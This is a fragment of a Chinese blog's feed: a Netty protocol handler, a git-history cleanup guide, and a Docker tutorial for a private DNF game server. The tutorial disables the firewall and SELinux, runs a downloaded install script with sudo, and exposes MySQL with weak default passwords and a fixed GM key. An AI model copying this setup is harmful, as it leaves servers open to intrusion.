class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br></pre></td><td class="code"><pre><span class="line">package com.lyc.pcelectricfence.netty;</span><br><span class="line"></span><br><span class="line">import cn.allbs.influx.InfluxTemplate;</span><br><span class="line">import com.lyc.pcelectricfence.enums.CommunicationMode;</span><br><span class="line">import com.lyc.pcelectricfence.enums.DeviceType;</span><br><span class="line">import com.lyc.pcelectricfence.enums.ResponseType;</span><br><span class="line">import com.lyc.pcelectricfence.utils.CommandParserUtil;</span><br><span class="line">import io.netty.channel.ChannelHandler;</span><br><span class="line">import io.netty.channel.ChannelHandlerContext;</span><br><span class="line">import io.netty.channel.SimpleChannelInboundHandler;</span><br><span class="line">import io.netty.handler.timeout.ReadTimeoutException;</span><br><span class="line">import lombok.extern.slf4j.Slf4j;</span><br><span class="line">import org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line">import javax.annotation.Resource;</span><br><span class="line">import java.util.HashMap;</span><br><span class="line">import java.util.Map;</span><br><span class="line"></span><br><span class="line">import static com.lyc.pcelectricfence.constant.CommonConstant.INFLUXDB_DATABASE_MEASUREMENT;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 类 ProtocolHandler</span><br><span class="line"> *</span><br><span class="line"> * @author ChenQi</span><br><span class="line"> * @date 2024/6/20</span><br><span class="line"> */</span><br><span class="line">@Slf4j</span><br><span class="line">@Component</span><br><span class="line">@ChannelHandler.Sharable</span><br><span class="line">public class ProtocolHandler extends SimpleChannelInboundHandler&lt;String&gt; &#123;</span><br><span class="line"></span><br><span class="line">    @Resource</span><br><span class="line">    private InfluxTemplate influxTemplate;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception &#123;</span><br><span class="line">        log.info(&quot;Received message: &#123;&#125;&quot;, msg);</span><br><span class="line">        String[] parts = msg.trim().split(&quot; &quot;);</span><br><span class="line">        switch (parts[0]) &#123;</span><br><span class="line">            case &quot;A&quot;:</span><br><span class="line">                handleResponse(ctx, parts);</span><br><span class="line">                break;</span><br><span class="line">            case &quot;H&quot;:</span><br><span class="line">                handleHeartbeat(ctx, parts);</span><br><span class="line">                break;</span><br><span class="line">            case &quot;E&quot;:</span><br><span class="line">                handleEventUpload(ctx, parts);</span><br><span class="line">                break;</span><br><span class="line">            case &quot;C&quot;:</span><br><span class="line">                handleControl(ctx, parts);</span><br><span class="line">                break;</span><br><span class="line">            case &quot;O&quot;:</span><br><span class="line">                handleOutputControl(ctx, parts);</span><br><span class="line">                break;</span><br><span class="line">            default:</span><br><span class="line">                // Handle unknown command</span><br><span class="line">                break;</span><br><span class="line">        &#125;</span><br><span class="line">        // 发送回复消息</span><br><span class="line">        ctx.writeAndFlush(&quot;A 1\r\n&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 处理响应</span><br><span class="line">     *</span><br><span class="line">     * @param ctx   ChannelHandlerContext</span><br><span class="line">     * @param parts 消息分割后的数组</span><br><span class="line">     */</span><br><span class="line">    private void handleResponse(ChannelHandlerContext ctx, String[] parts) &#123;</span><br><span class="line">        int result = Integer.parseInt(parts[1]);</span><br><span class="line">        ResponseType responseType = ResponseType.values()[result];</span><br><span class="line">        log.debug(&quot;Response: &#123;&#125;&quot;, responseType.getDescription());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 处理心跳</span><br><span class="line">     *</span><br><span class="line">     * @param ctx   ChannelHandlerContext</span><br><span class="line">     * @param parts 消息分割后的数组</span><br><span class="line">     */</span><br><span class="line">    private void handleHeartbeat(ChannelHandlerContext ctx, String[] parts) &#123;</span><br><span class="line">        int deviceNumber = Integer.parseInt(parts[1]);</span><br><span class="line">        CommunicationMode communicationMode = CommunicationMode.values()[Integer.parseInt(parts[2])];</span><br><span class="line">        DeviceType deviceType = DeviceType.values()[Integer.parseInt(parts[3])];</span><br><span class="line">        log.debug(&quot;Heartbeat - Device Number: &#123;&#125;, Communication Mode: &#123;&#125;, Device Type: &#123;&#125;&quot;, deviceNumber, communicationMode.getDescription(), deviceType.getDescription());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 处理事件上传</span><br><span class="line">     *</span><br><span class="line">     * @param ctx   ChannelHandlerContext</span><br><span class="line">     * @param parts 消息分割后的数组</span><br><span class="line">     */</span><br><span class="line">    private void handleEventUpload(ChannelHandlerContext ctx, String[] parts) &#123;</span><br><span class="line">        // 事件上传，储存至influxDb</span><br><span class="line">        String command = String.join(&quot; &quot;, parts);</span><br><span class="line">        Map&lt;String, Object&gt; map = CommandParserUtil.parseEventUploadCommand(command);</span><br><span class="line">        log.debug(&quot;Event Upload Command: &#123;&#125;&quot;, map);</span><br><span class="line">        Map&lt;String, String&gt; tags = new HashMap&lt;&gt;();</span><br><span class="line">        tags.put(&quot;type&quot;, &quot;E&quot;);</span><br><span class="line">        tags.put(&quot;typeName&quot;, &quot;事件上传&quot;);</span><br><span class="line">        // 储存至influxDb</span><br><span class="line">        influxTemplate.insert(INFLUXDB_DATABASE_MEASUREMENT, tags, map);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 处理控制</span><br><span class="line">     *</span><br><span class="line">     * @param ctx   ChannelHandlerContext</span><br><span class="line">     * @param parts 消息分割后的数组</span><br><span class="line">     */</span><br><span class="line">    private void handleControl(ChannelHandlerContext ctx, String[] parts) &#123;</span><br><span class="line">        // 处理控制 TODO</span><br><span class="line">        String command = String.join(&quot; &quot;, parts);</span><br><span class="line">        Map&lt;String, Object&gt; map = CommandParserUtil.parseHostControlCommand(command);</span><br><span class="line">        log.debug(&quot;Control Command: &#123;&#125;&quot;, map);</span><br><span class="line">        Map&lt;String, String&gt; tags = new HashMap&lt;&gt;();</span><br><span class="line">        tags.put(&quot;type&quot;, &quot;C&quot;);</span><br><span class="line">        tags.put(&quot;typeName&quot;, &quot;主机控制&quot;);</span><br><span class="line">        // 储存至influxDb</span><br><span class="line">        influxTemplate.insert(INFLUXDB_DATABASE_MEASUREMENT, tags, map);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 处理输出控制</span><br><span class="line">     *</span><br><span class="line">     * @param ctx   ChannelHandlerContext</span><br><span class="line">     * @param parts 消息分割后的数组</span><br><span class="line">     */</span><br><span class="line">    private void handleOutputControl(ChannelHandlerContext ctx, String[] parts) &#123;</span><br><span class="line">        // 输出控制</span><br><span class="line">        String command = String.join(&quot; &quot;, parts);</span><br><span class="line">        Map&lt;String, Object&gt; map = CommandParserUtil.parseOutputControlCommand(command);</span><br><span class="line">        log.debug(&quot;Output Control Command: &#123;&#125;&quot;, map);</span><br><span class="line">        // 储存至influxDb</span><br><span class="line">        Map&lt;String, String&gt; tags = new HashMap&lt;&gt;();</span><br><span class="line">        tags.put(&quot;type&quot;, &quot;O&quot;);</span><br><span class="line">        tags.put(&quot;typeName&quot;, &quot;输出点控制&quot;);</span><br><span class="line">        influxTemplate.insert(INFLUXDB_DATABASE_MEASUREMENT, tags, map);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception &#123;</span><br><span class="line">        if (cause instanceof ReadTimeoutException) &#123;</span><br><span class="line">            log.info(&quot;Read timeout occurred. &#123;&#125;&quot;, ctx.channel());</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            log.info(cause.getLocalizedMessage());</span><br><span class="line">        &#125;</span><br><span class="line">        ctx.close();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最后需要注意的问题">最后需要注意的问题</h2><p>因为这个项目中并未使用spring-boot-start-web，也就是没有<code>tomcat</code>或者<code>undertow</code>等web框架，所以实际<code>server.port</code>本来设置的6767并未使用，后来我一想，不如直接当作netty server的监听地址吧，所以<code>NettyServerProperties</code>直接使用了本来配给netty server的5000端口作为监听端口，所以你会看到项目的md中有6767这个端口但又未实际使用。如果你的项目有web框架，肯定不能这么干，需要将netty sever重新配置一个另外的端口。</p>]]></content>
    
    
    <summary type="html">tcp报文解析</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>删除git提交日志</title>
    <link href="https://blog.allbs.cn/posts/2245/"/>
    <id>https://blog.allbs.cn/posts/2245/</id>
    <published>2024-06-27T06:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景">背景</h2><p>开发了一个报文解析程序，并且同时往github和公司的库中传，这样可以刷些github的活跃，也能给有需要的人参考。但是一不小心将测试和正式环境的数据库连接传进去了，这可是大大的不行，所以需要在日志中删除这些记录，同时保留其他修改。PS:还是不能懒啊，配置文件中敏感信息最好还是用系统变量😑</p><h2 id="使用安装-git-filter-repo-工具">使用安装 <code>git filter-repo</code> 工具</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install git-filter-repo</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/bc44939ad1311f64dd320959e7155b0a.png" alt="image.png"></p><h2 id="git配置文件修改确保能够使用该python">git配置文件修改确保能够使用该python</h2><h3 id="修改的配置内容">修改的配置内容</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[alias]</span><br><span class="line">    filter-repo = !python -m git_filter_repo</span><br></pre></td></tr></table></figure><h3 id="git配置文件">git配置文件</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/a469dc6a0eca43f4c9a5126115d8ba0c.png" alt="image.png"></p><h3 id="修改示例">修改示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/0b62e96c302a9d6dfb54aba2aff8dcf3.png" alt="image.png"></p><h2 id="删除历史记录中的敏感文件">删除历史记录中的敏感文件</h2><p>注意执行命令的位置为项目工程内<br>比如我想删除的是<code>application-dev.yml</code>和<code>applicatin-prod.yml</code>两个文件，这两个文件所在目录为我执行目录下的src/main/resources目录下，所以最后的命令为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m git_filter_repo --path src/main/resources/application-dev.yml --path src/main/resources/application-prod.yml --invert-paths --force</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/f7d10dd18012bbcbf1a7ff14c7eff81c.png" alt="image.png"></p><h2 id="强制推送清理后的历史记录到远程仓库">强制推送清理后的历史记录到远程仓库</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git push origin --force --all</span><br></pre></td></tr></table></figure><p>注意看下图我使用的<code>github</code>为分支名，我需要清洗的是往github库中记录，我这个分支命名为<code>github</code>，所以使用的不是<code>origin</code>, 如果你们要使用需要根据你们实际情况修改。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/aa95a97a7c1036cdb40418b20031fa46.png" alt="image.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;开发了一个报文解析程序，并且同时往github和公司的库中传，这样可以刷些github的活跃，也能给有需要的人参考。但是一不小心将测试和正式环境的数据库连接传进去了，这可是大大的不行，所以需要在日志中删除这些记录，同时保留其他修改。P</summary>
      
    
    
    
    <category term="git" scheme="https://blog.allbs.cn/categories/git/"/>
    
    
    <category term="git" scheme="https://blog.allbs.cn/tags/git/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>DNF私服</title>
    <link href="https://blog.allbs.cn/posts/56291/"/>
    <id>https://blog.allbs.cn/posts/56291/</id>
    <published>2024-06-24T01:23:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="效果">效果</h2><h3 id="注册">注册</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/4493eb5edcd8f22be392977dd304af2c.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/835ab6b8af992ddee155ec9e97201a55.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/9ddea3e01acd7169fb1262b6afa92c08.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/ba299a5366adeeef0b0cfdbd8cee476d.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/1ddec420085e73771781a91699502713.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/309907f412750b909df011d1efd90330.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/b5e6e33d2224b39464afe5d2e1fdaa8a.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/367acdcc539aac6f1df4b66aaf410c5c.png" alt="image.png"></p><h2 id="windows启动一个centerOS服务器作为服务端，有现成服务器的忽略这一步。">windows启动一个centerOS服务器作为服务端，有现成服务器的忽略这一步。</h2><h3 id="CenterOS下载地址">CenterOS下载地址</h3><p><a href="https://app.vagrantup.com/centos/boxes/7">https://app.vagrantup.com/centos/boxes/7</a></p><h3 id="windows中启动一个CenterOS虚拟机">windows中启动一个CenterOS虚拟机</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/274adf4e2f1c5d8bc73ee6482e79b67e.png" alt="image.png"></p><h3 id="虚拟机有线连接并ifconfig查看ip">虚拟机有线连接并<code>ifconfig</code>查看ip</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/f13b27abe3cfd8dbd7dfde31e663e149.png" alt="image.png"></p><h2 id="前置操作（使用CenterOS服务器）">前置操作（使用CenterOS服务器）</h2><h3 id="先升级yum源">先升级yum源</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum update -y</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/4996bd37b73e66934955492b64727da3.png" alt=""></p><h3 id="下载docker安装脚本">下载docker安装脚本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -fsSL https://get.docker.com -o get-docker.sh</span><br></pre></td></tr></table></figure><h3 id="运行安装docker的脚本">运行安装docker的脚本</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo sh get-docker.sh</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/64557698d9bcc7a9adb272b9338daaee.png" alt="image.png"></p><h3 id="启动docker">启动docker</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable docker</span><br><span class="line">systemctl restart docker</span><br></pre></td></tr></table></figure><h3 id="关闭防火墙">关闭防火墙</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl disable firewalld</span><br><span class="line">systemctl stop firewalld</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/f61f8cbae537dfa2114ab171e4d03ed1.png" alt="image.png"></p><h3 id="关闭selinux">关闭selinux</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo sed -i &#x27;s/SELINUX=enforcing/SELINUX=disabled/&#x27; /etc/selinux/config</span><br></pre></td></tr></table></figure><h3 id="创建swap-如果内存足够可以直接忽略">创建swap(如果内存足够可以直接忽略)</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/bin/dd if=/dev/zero of=/var/swap.1 bs=1M count=8000</span><br><span class="line">mkswap /var/swap.1</span><br><span class="line">swapon /var/swap.1</span><br><span class="line">sed -i &#x27;$a /var/swap.1 swap swap default 0 0&#x27; /etc/fstab</span><br></pre></td></tr></table></figure><h3 id="查看操作系统是否打开swap的使用-如果内存足够可以直接忽略">查看操作系统是否打开swap的使用(如果内存足够可以直接忽略)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sudo vim /etc/sysctl.conf </span><br><span class="line"></span><br><span class="line"># 将vm.swappiness的值修改为100(优先使用swap),没有该配置就加上</span><br><span class="line">vm.swappiness = 100</span><br></pre></td></tr></table></figure><h3 id="最后执行以下命令使配置生效：">最后执行以下命令使配置生效：</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sysctl -p</span><br></pre></td></tr></table></figure><h2 id="部署服务">部署服务</h2><h3 id="拉取镜像-根据你的CenterOS版本拉取对应镜像">拉取镜像(根据你的CenterOS版本拉取对应镜像)</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">docker pull 1995chen/dnf:centos5-2.1.4.fix1</span><br><span class="line">docker pull 1995chen/dnf:centos6-2.1.4.fix1</span><br><span class="line"><span class="comment"># 如何您需要使用centos7作为基础镜像的特殊需求,可以使用:</span></span><br><span class="line">docker pull 1995chen/dnf:centos7-2.1.4.fix1</span><br><span class="line"><span class="comment"># 国内镜像无法拉取请使用[完整复制整行命令执行]</span></span><br><span class="line">docker pull registry.cn-hangzhou.aliyuncs.com/1995chen/dnf:centos7-2.1.4.fix1 &amp;&amp; docker tag registry.cn-hangzhou.aliyuncs.com/1995chen/dnf:centos7-2.1.4.fix1 1995chen/dnf:centos7-2.1.4.fix1</span><br><span class="line"><span class="comment"># 所有镜像版本列表请参考[记得点赞三连,帮助更多的人了解该镜像]:</span></span><br><span class="line">https://hub.docker.com/repository/docker/1995chen/dnf</span><br></pre></td></tr></table></figure><h4 id="开始拉取">开始拉取</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/5e7c8f7d16de8525de6cf3ebaf59e0b9.png" alt="image.png"></p><h4 id="拉取成功">拉取成功</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/9e3a9d8b8cabb4e3db563668d5ac3358.png" alt="image.png"></p><h3 id="启动服务-里面的参数必须要修改！！！注意启动参数里面的centeros版本">启动服务(里面的参数必须要修改！！！注意启动参数里面的centeros版本)</h3><p>注意最后的centeros7、6、5要和上面拉取的镜像对应！</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建一个目录,这里以/data为例,后续会将该目录下的mysql以及data目录挂载到容器内部</span></span><br><span class="line"><span class="built_in">mkdir</span> -p /data/log /data/mysql /data/data</span><br><span class="line"><span class="comment"># 2.1.0版本镜像启动时会自动初始化mysql数据</span></span><br><span class="line"><span class="comment"># 启动服务</span></span><br><span class="line"><span class="comment"># PUBLIC_IP为公网IP地址，如果在局域网部署则用局域网IP地址，按实际需要替换</span></span><br><span class="line"><span class="comment"># GM_ACCOUNT为登录器用户名，建议替换</span></span><br><span class="line"><span class="comment"># GM_PASSWORD为登录器密码，建议替换</span></span><br><span class="line"><span class="comment"># DNF_DB_ROOT_PASSWORD为mysql root密码,容器启动是root密码会跟随该环境变量的变化自动更新</span></span><br><span class="line"><span class="comment"># WEB_USER为supervisor web管理页面用户名</span></span><br><span class="line"><span class="comment"># WEB_PASS为supervisor web管理页面密码(可以访问PUBLIC_IP:2000来访问进程管理页面)</span></span><br><span class="line"><span class="comment"># --shm-size=8g【不可删除】，docker默认为64M较小，需要增加才能保证运行</span></span><br><span class="line">docker run -d -e PUBLIC_IP=x.x.x.x -e WEB_USER=root -e WEB_PASS=123456 -e DNF_DB_ROOT_PASSWORD=88888888 -e GM_ACCOUNT=gmuser -e GM_PASSWORD=gmpass -v /data/log:/home/neople/game/log -v /data/mysql:/var/lib/mysql -v /data/data:/data -p 2000:180 -p 3000:3306/tcp -p 7600:7600/tcp -p 881:881/tcp -p 7001:7001/tcp -p 7001:7001/udp -p 10011:10011/tcp -p 11011:11011/udp -p 10052:10052/tcp -p 11052:11052/udp -p 7200:7200/tcp -p 7200:7200/udp -p 2311-2313:2311-2313/udp --cap-add=NET_ADMIN --hostname=dnf --cpus=1 --memory=1g --memory-swap=-1 --shm-size=8g --name=dnf 1995chen/dnf:centos7-2.1.4.fix1</span><br></pre></td></tr></table></figure><h3 id="有时候可能启动不成功">有时候可能启动不成功</h3><p>可以restart一下<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/6a85b892e1a6ff9e22bf89013744bb9c.png" alt="image.png"></p><h3 id="或者用docker-compose">或者用docker-compose</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">services:</span><br><span class="line"></span><br><span class="line">  dnf:</span><br><span class="line">    hostname: dnf</span><br><span class="line">    image: 1995chen/dnf:centos5-2.1.4.fix1</span><br><span class="line">    # privileged: true</span><br><span class="line">    cap_add:</span><br><span class="line">      - NET_ADMIN</span><br><span class="line">    environment:</span><br><span class="line">      - TZ=Asia/Shanghai</span><br><span class="line">      # 数据库root密码</span><br><span class="line">      - DNF_DB_ROOT_PASSWORD=88888888</span><br><span class="line">      - GM_ACCOUNT=gmuser</span><br><span class="line">      - GM_PASSWORD=gmpass</span><br><span class="line">      - GM_CONNECT_KEY=763WXRBW3PFTC3IXPFWH</span><br><span class="line">      - GM_LANDER_VERSION=20180307</span><br><span class="line">      # 手动指定对外IP</span><br><span class="line">      - PUBLIC_IP=127.0.0.1</span><br><span class="line">      # Netbird[可选配置][没有公网IP的可选私有内网接入]</span><br><span class="line">      #- NB_SETUP_KEY=&#x27;&#x27;</span><br><span class="line">      #- NB_MANAGEMENT_URL=&#x27;&#x27;</span><br><span class="line">      # 开启DDNS[可选配置]</span><br><span class="line">      # - DDNS_ENABLE=true</span><br><span class="line">      # - DDNS_DOMAIN=&#x27;&#x27;</span><br><span class="line">    # shm_size: 8g【不可删除】，docker默认为64M较小，需要增加才能保证运行</span><br><span class="line">    shm_size: 8g</span><br><span class="line">    memswap_limit: -1</span><br><span class="line">    mem_limit: 1g</span><br><span class="line">    cpu_count: 1</span><br><span class="line">    restart: always</span><br><span class="line">    ports:</span><br><span class="line">      - 2000:180/tcp              # supervisor web</span><br><span class="line">      - 3000:3306/tcp             # mysql</span><br><span class="line">      - 7600:7600/tcp             # 统一登陆器</span><br><span class="line">      - 881:881/tcp               # 统一网关</span><br><span class="line">      - 7001:7001/tcp             # df_channel_r</span><br><span class="line">      - 7001:7001/udp             # df_channel_r</span><br><span class="line">      - 7200:7200/tcp             # df_relay_r</span><br><span class="line">      - 7200:7200/udp             # df_relay_r</span><br><span class="line">      - 10011:10011/tcp           # df_game_r[ch.11]</span><br><span class="line">      - 11011:11011/udp           # df_game_r[ch.11]</span><br><span class="line">      - 10052:10052/tcp           # df_game_r[ch.52]</span><br><span class="line">      - 11052:11052/udp           # df_game_r[ch.52]</span><br><span class="line">      - 2311-2313:2311-2313/udp   # df_stun_r</span><br><span class="line">    volumes:</span><br><span class="line">      - ./data:/data</span><br><span class="line">      - ./mysql:/var/lib/mysql</span><br><span class="line">      - ./log:/home/neople/game/log</span><br></pre></td></tr></table></figure><h3 id="等待几分钟启动">等待几分钟启动</h3><p>访问你部署的ip:2000查看进程管理页面,出现如下页面说明你的程序启动成功了<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/dbc907b9ab3dc41455118332fdfe5d14.png" alt="image.png"></p><h3 id="如果是云服务器需要开放对应端口">如果是云服务器需要开放对应端口</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/68f6718e70c12727cafd3d3f8b72d003.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/fd0e9a4dac33c8ed28b33acae49cbe6c.png" alt="image.png"></p><h3 id="添加本地host">添加本地host</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/8b929be77ea29c578937b63a91a67bda.png" alt="image.png"></p><h2 id="下载客户端、网关和补丁">下载客户端、网关和补丁</h2><p>链接：<a href="https://pan.baidu.com/s/1OXWplfbkSXv3IyLFJhVtVA">https://pan.baidu.com/s/1OXWplfbkSXv3IyLFJhVtVA</a><br>提取码：6666</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/120fe29f0b98e143f6c8e3613834353f.png" alt="image.png"></p><h3 id="生成登陆器">生成登陆器</h3><h4 id="配置网关">配置网关</h4><p>运行</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/e0e67754475b721f170c9ef2f064cc66.png" alt="image.png"><br>下面红色字体就是上面docker执行运行命令中配置的内容，通信密钥固定为<code>763WXRBW3PFTC3IXPFWH</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/4f758eeea00d4c9480e4d25b4a6fb8b5.png" alt="image.png"></p><h4 id="生成登陆器-2">生成登陆器</h4><p>里面的ip是你虚拟器服务端的ip地址,注意游戏版本必须和网关中的一致</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/d80c1b16fc35b359ee48cedb61a76a1a.png" alt="image.png"></p><h4 id="将登录器拷贝到游戏的目录下">将登录器拷贝到游戏的目录下</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/26c1ae54fbe061676079b67c8899226b.png" alt="image.png"></p><h4 id="双击登陆器运行">双击登陆器运行</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/db29eead93adeb27e6050c947ddaba93.png" alt="image.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;效果&quot;&gt;效果&lt;/h2&gt;
&lt;h3 id=&quot;注册&quot;&gt;注册&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://nas.allbs.cn:8888/cloudpic/2024/06/4493eb5edcd8f22be392977dd304af2c.png&quot; alt=&quot;i</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="娱乐" scheme="https://blog.allbs.cn/tags/%E5%A8%B1%E4%B9%90/"/>
    
  </entry>
  
  <entry>
    <title>Apple小火箭跳过开屏广告</title>
    <link href="https://blog.allbs.cn/posts/10392/"/>
    <id>https://blog.allbs.cn/posts/10392/</id>
